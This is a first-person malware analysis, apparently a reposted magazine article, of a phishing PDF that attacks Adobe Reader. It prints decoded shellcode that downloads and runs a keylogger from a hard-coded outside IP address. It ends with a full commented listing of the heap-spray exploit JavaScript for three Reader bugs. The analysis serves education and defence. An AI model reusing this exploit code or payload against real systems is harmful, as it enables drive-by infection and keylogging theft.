
Before I even reach the end of the first paragraph, Adobe Reader closes of its own accord. In a bit of a doze, I click on the attachment for a second time and an action replay unfolds – the text appears in Adobe Reader and then the window vanishes all by itself just a few seconds later.
At first sight, the file looked like it really might tell me all about NTFS. Vergrößern This is more than a little strange – suddenly wide awake, I take a closer look at the e-mail. What's with the formal "Regards, T Gibbs" at the end? Tom always signs off with "Cheers, Tom". A look at the full header tells me that this clearly hasn't been sent from one of our internal systems:
Received from 113.112.141.166
it's been sent from somewhere in Asia. Things are becoming clearer. The sender is faked and the PDF file is probably an attempt to infect my computer. But has it been successful?
I could of course just restore the system image I created yesterday. That would take 30 minutes at most and I could then get on with doing the travel expenses that accounts has been nagging me about since last week. OK, that's it, I'm going to analyse the PDF file.
Inside a PDF file
PDF's have a tree like structure. Vergrößern First off, I need to refresh my knowledge of the PDF format. I vaguely remember that a PDF file is composed of various objects in a tree structure. Each object describes one aspect of the document – page content, for instance, is stored in one object and font type and size in another.
The plan is to analyse each object in the suspect file to get an understanding of what's going on. Before opening the file in a text editor, I pull down O’Reilly's "PDF Hacks" by Sid Stuarts from the bookshelf.
WordPad shows the characteristic "%PDF-1.4" string at the start, so it's definitely a PDF file. The basic PDF structure is simple and easily recognised. Individual objects within the file have the structure:
- Code: Tout sélectionner
$nr $version obj
object
endobj
obj and endobj are fixed separators between objects. They are numbered sequentially using $nr. The version number is usually 0, as a document usually contains only one version of an object.
Object structure depends on the object type. Object parameters are typically given within a 'dictionary', designated by << and >>. There is usually a table of contents at the start with /Type /Catalog – as there is in my 'NTFS internals' file:
- Code: Tout sélectionner
1 0 obj
<<
/Type /Catalog
/Outlines 3 0 R
/Pages 4 0 R
....
/ViewerPreferences
<<
/PageDirection /L2R
>>
>>
>>
endobj
This essentially consists of references in the form $i $j R. Object three claims to be a kind of overview of content, with the actual pages following as /Pages. Towards the end, a few document properties, such as the read direction – L2R (left to right) – are specified. So far, so dull. I'm beginning to wish I'd done my travel expenses.
Object two includes more admin, which confirms my suspicion:
- Code: Tout sélectionner
/Creator (Scribus 1.3.3.13)
/Producer (Scribus PDF Library 1.3.3.13)
....
/CreationDate (D:20090811124352)
/ModDate (D:20090811124352)
Much as I appreciate open source, I'm sceptical about the likelihood of someone using DTP program Scribus to layout their knowledge of NTFS before converting it to a PDF. I scroll down further and it finally starts to get interesting.
Decoded
There are whole sequences of objects containing the tag /Filter /FlateDecode, followed by binary data contained between stream and endstream. My book tells me that simple binary data in hex format is marked by /ASCIIHexDecode. FlatDecode, by contrast, means that the data needs to be unzipped using the zlib library.
Fortunately, I don't need to reinvent the wheel to do this. Stuart's book includes a PDF toolkit able to do pretty much anything you need to a PDF file, such as removing single pages, reading encrypted PDFs (password still required) or generating an uncompressed version using
- Code: Tout sélectionner
$ pdftk NTFS-internals.pdf output plain.txt uncompress.
This inflates the file from 15 to 38 KB. But now I at least have a chance of working out what's going on. In 'plain.txt', I skip past pages of formatting-related columns of figures, a few JPEG images and font instructions. But hold on. Back a bit – I think I've found something. The stream in object 62 looks a lot like JavaScript:
- Code: Tout sélectionner
this.nfMZkYrtz='nfMZkYrtz';var lookYears = 'var t';
this.zAcSyh0dg=false;...
Of course – I remember that PDF files can contain JavaScript. A closer look and I twig that the strings assigned to the variables are themselves snippets of JavaScript. var t, for example, ends up in lookYears, and a little further down the keyword new is assigned to duringFactIf. The point of this becomes clear as I check out object 63, which contains further JavaScript:
- Code: Tout sélectionner
var out = '' + lookYears+
leapGalleyEver+
etcWordSince+
duringFactIf+
[..]
OK – so code is being assembled in the out variable. Further down, in object 65, comes what looks like an attempt to call this code:
- Code: Tout sélectionner
function fBE1wMund0(){}
ex["e"+"val"](out);
The odd-looking fBE1wMund0(){} function is just a diversion. But I'll bet ex is intended to run the JavaScript function eval() in order to execute the assembled code.
But I'm starting to think that disentangling the heavily nested obfuscation functions is getting to be too dumb – that, after all, is what SpiderMonkey is for. So I extract all the JavaScript fragments into a file. To see what it's supposed to execute, I replace the ex["e"+"val"](out); with a harmless print command and, half-an hour later, throw it to the JavaScript monkey.
Inevitably it comes a cropper on the first try: "ReferenceError: app is not defined". The stumbling block proves to be the line
- Code: Tout sélectionner
var ex = app;
And now the penny drops – ex is nothing less than a reference to Adobe Reader itself, which can be accessed from within a PDF file by using app. The ex["eval"](out) code snippet is thus a somewhat eccentric, but valid way of writing app.eval – it is indeed an attempt to execute the code.
Of course SpiderMonkey isn't familiar with app. Since I've removed the eval statement anyway, I can, however, simply comment out the problem string allocation. The second attempt works like a charm and SpiderMonkey spits out more JavaScript, which I write to another file.
Near the start, a field containing more than 1,000 oddly-formatted Unicode escape sequences is generated:
- Code: Tout sélectionner
var wly56uG4w = new Array("%u535","0%u525",
"1%u5756%u9","c55%u00e8","%u0000%u",...
This looks a lot like shell code to me, obviously intended to be injected and executed via a security vulnerability. To firm up my suspicions, I concatenate the string and interpret the whole thing as hexadecimal code using
- Code: Tout sélectionner
perl -pe 's/\%u(..)(..)/chr(hex($2)).chr(hex($1))/ge'
As I check the code generated in a hex editor, I find definitive proof that there's bad shit going down.
- Code: Tout sélectionner
[...]
00000150 00 00 00 00 00 00 00 00 00 00 00 00 00 00 47 65 |..............Ge|
00000160 74 54 65 6d 70 50 61 74 68 41 00 4c 6f 61 64 4c |tTempPathA.LoadL|
00000170 69 62 72 61 72 79 41 00 47 65 74 50 72 6f 63 41 |ibraryA.GetProcA|
00000180 64 64 72 65 73 73 00 57 69 6e 45 78 65 63 00 bb |ddress.WinExec.?|
00000190 89 f2 89 f7 30 c0 ae 75 fd 29 f7 89 f9 31 c0 be |.?.?0??u?)?.?1??|
[...]
00000230 00 56 57 e8 58 ff ff ff 5f 5e ab 01 ce 80 3e bb |.VW?X???_^?.?.>?|
00000240 74 02 eb ed c3 55 52 4c 4d 4f 4e 2e 44 4c 4c 00 |t.???URLMON.DLL.|
00000250 55 52 4c 44 6f 77 6e 6c 6f 61 64 54 6f 46 69 6c |URLDownloadToFil|
00000260 65 41 00 75 70 64 61 74 65 2e 65 78 65 00 63 72 |eA.update.exe.cr|
00000270 61 73 68 2e 70 68 70 00 68 74 74 70 3a 2f 2f 32 |ash.php.http://2|
00000280 31 30 2e 35 31 2e 31 38 37 2e 34 35 2f 6c 69 62 |10.51.187.45/lib|
00000290 2f 75 70 64 61 74 65 2e 70 68 70 3f 69 64 3d 30 |/update.php?id=0|
000002a0 00 90 |..|
The emerging URL points to a file which Virustotal's bank of anti-virus software unanimously diagnoses as concealing a key logger. The code appears to try to save the key logger to the Temp folder as 'update.exe' and execute it using WinExec. But has it succeeded in infecting my system? Since, according to Virustotal, my anti-virus software detects this piece of spyware, it should have warned me if it had succeeded in penetrating the system.
But there are two more arrays of shell code. Analysing them throws up the same URL, but with the parameters 'id=1' and 'id=2' respectively. This suggests other pieces of malware can also be downloaded.
The repertoire
Somehow I don't feel comfortable relying on my anti-virus software to have detected and blocked all this malware. Then again I don't really fancy wiping the whole system on the basis of a hunch. And my travel expenses are still staring up at me accusingly. So I set off in pursuit of the actual exploit the PDF file has attempted to use on me.
Further down in the JavaScript, I discover it accessing app.viewerVersion.toString(). Oy vey – it looks like the code has a whole repertoire of exploits which it can bring to bear depending on the Adobe Reader version detected. The first looks familiar – I recall a buffer overflow in Collab.collectEmailInfo. A quick web search digs up a posting on Security Focus from early 2008; it's been fixed since version 8.1.2 – I'm in luck. But this PDF has something in reserve. On newer version of Reader it tries out other exploits, which are even secured by a try/catch block.
- Code: Tout sélectionner
var vkQkwqXx = app;
vkQkwqXx["doc"]["Collab"]["getIcon"](bDA4BU6bV);
This exploits a bug in Collab.getIcon. The SecurityFocus database claims that this was fixed in Adobe Reader 9.1 in March 2009. Spring 2009 – I must have updated since then. The author doesn't waste any resources on this PDF trojan – he limits his exploits cleanly to vulnerable versions:
- Code: Tout sélectionner
if((waNWb0AX4 >= 8.102 && waNWb0AX4 < 8.104) ||
(waNWb0AX4 >= 9 && waNWb0AX4 < 9.1) ||
waNWb0AX4 <= 7.101)
The third of the bunch, an exploit for a buffer overflow in util.printf. It only affects Reader versions 8.102 and 7.1. That appears to be the lot. So the effort has been worth it – I can save myself a re-installation, my computer must be clean. And in the last line I find out why Reader waited a few seconds before crashing. The bastard has installed a time fuse:
- Code: Tout sélectionner
app.setTimeOut("app.jTSCccXdL()", 10);
The jTSCccXdL() function, which contains the logic for the exploit, is triggered after ten seconds.
But then, why did Reader crash if it's not vulnerable to the exploit? Putting to one side the fact that the program shouldn't crash if the buffer overflow is caught cleanly, I've seen with my own eyes that the exploit should only be triggered on older, vulnerable versions. Hold your horses, I think I'd better take another look. Balls! It's there in black and white, Reader says "Version 9.0". How could that happen? My computer is almost certainly infected. I can't be arsed to go hunting around after whatever update.exe & Co. have deposited on my system. It's time to revert back to yesterday's image. Ah well, at least that leaves me half an hour before I have to tackle those damn travel expenses. (ju)
A commented listing of the exploit
The code in this listing may cause your anti-virus scanner to issue an alert – this is a false alarm.
- Code: Tout sélectionner
var t98Sd1ma7 = new Array();
var gh4Xf51rN;
// Prepare the Heap Spraying
function jytghWfFit(yYGbAXsdzD, hTfjUKHViV){
while(yYGbAXsdzD.length * 2 < hTfjUKHViV){
yYGbAXsdzD += yYGbAXsdzD;
}
yYGbAXsdzD = yYGbAXsdzD.substring(0, hTfjUKHViV / 2);
return yYGbAXsdzD;
}
// Choose shellcode and create Nop sled
functionkdNO4K43(kJSzl5v6vo){
if(kJSzl5v6vo == 0){
var kujFF0yXr = 0x0c0c0c0c;
var wly56uG4w = new Array("%u535","0%u525","1%u5756%u9",
[...],"03d%u","9000");
}
else if(kJSzl5v6vo == 1){
kujFF0yXr = 0x30303030;
var wly56uG4w = new Array("%u5350","%u5251%u","5756%u9c5",
[...],"u313d%u900","0");
}
else if(kJSzl5v6vo == 2){
var wly56uG4w = new Array("%u5350%u52","51%u5756","%u9c55%u",
[...],"%u6469%u3","23d%u9000");
}
// Assemble the shellcode -> wly56uG4w
wly56uG4w = unescape(wly56uG4w.join(""));
var lQ7jYN7Ee = 0x400000;
var l7UWARF9Z = wly56uG4w.length * 2;
var hTfjUKHViV = lQ7jYN7Ee - (l7UWARF9Z + 0x38);
// NOP commands
var yYGbAXsdzD = unescape("%u9090%u9090");
// Create the sled
yYGbAXsdzD = jytghWfFit(yYGbAXsdzD, hTfjUKHViV);
var vwd0fuUcVE = (kujFF0yXr - 0x400000) / lQ7jYN7Ee;
// ... and add the shellcode
for(var ylXB738Q = 0; ylXB738Q < vwd0fuUcVE; ylXB738Q++){
t98Sd1ma7[ylXB738Q] = yYGbAXsdzD + wly56uG4w;
}
}
// Decide which exploit to use
function a6Omhe8Jq(){
var facAHEjvfd = 0;
// get version of Adobe Reader
var waNWb0AX4 = app.viewerVersion.toString();
app.clearTimeOut(gh4Xf51rN);
if((waNWb0AX4 >= 8 && waNWb0AX4 < 8.102) || waNWb0AX4 < 7.1){
// Exploit 1: Collab.collectEmailInfo Overflow
kdNO4K43(0);
// The nop sled is near 0x0c0c0c0c
var m5r7RwwLp = unescape("%u0c0c%u0c0c");
while(m5r7RwwLp.length < 44952) m5r7RwwLp += m5r7RwwLp;
// Prepare the exploit
var oWdCzbRki = this;
var wHOvDN3CA = Collab;
oWdCzbRki["collabStore"] =
wHOvDN3CA["collectEmailInfo"]({subj : "", msg : m5r7RwwLp});
} if((waNWb0AX4 >= 8.102 && waNWb0AX4 < 8.104) ||
(waNWb0AX4 >= 9 && waNWb0AX4 < 9.1) ||
waNWb0AX4 <= 7.101 ){
try{
if(app.doc.Collab.getIcon){
// Exploit 2: Collab.getIcon
kdNO4K43(2);
// Prepare the exploit
var bDA4BU6bV = unescape("%09");
while(bDA4BU6bV.length < 0x4000){bDA4BU6bV += bDA4BU6bV;}
bDA4BU6bV = "N." + bDA4BU6bV;
// Call the vulnerable function
var vkQkwqXx = app;
vkQkwqXx["doc"]["Collab"]["getIcon"](bDA4BU6bV);
facAHEjvfd = 1;
} else{facAHEjvfd = 1;}
} catch(e){facAHEjvfd = 1;}
if(facAHEjvfd == 1){
if(waNWb0AX4 == 8.102 || waNWb0AX4 == 7.1){
// Exploit 3: util.printf
kdNO4K43(1);
// prepare exploit
var ogW2Dea1i = "12999999999999999999";
for(fqwUwehjt = 0; fqwUwehjt < 276; fqwUwehjt++){
ogW2Dea1i += "8";
}
// Call the vulnerable function
var tEODTfxDJ = util;tEODTfxDJ["printf"]("%45000f", ogW2Dea1i);}
}
}
}
// Set up the time bomb that triggers the exploits
app.jTSCccXdL = a6Omhe8Jq;
gh4Xf51rN = app.setTimeOut("app.jTSCccXdL()", 10);

Utilisateurs parcourant ce forum: Aucun utilisateur enregistré et 0 invités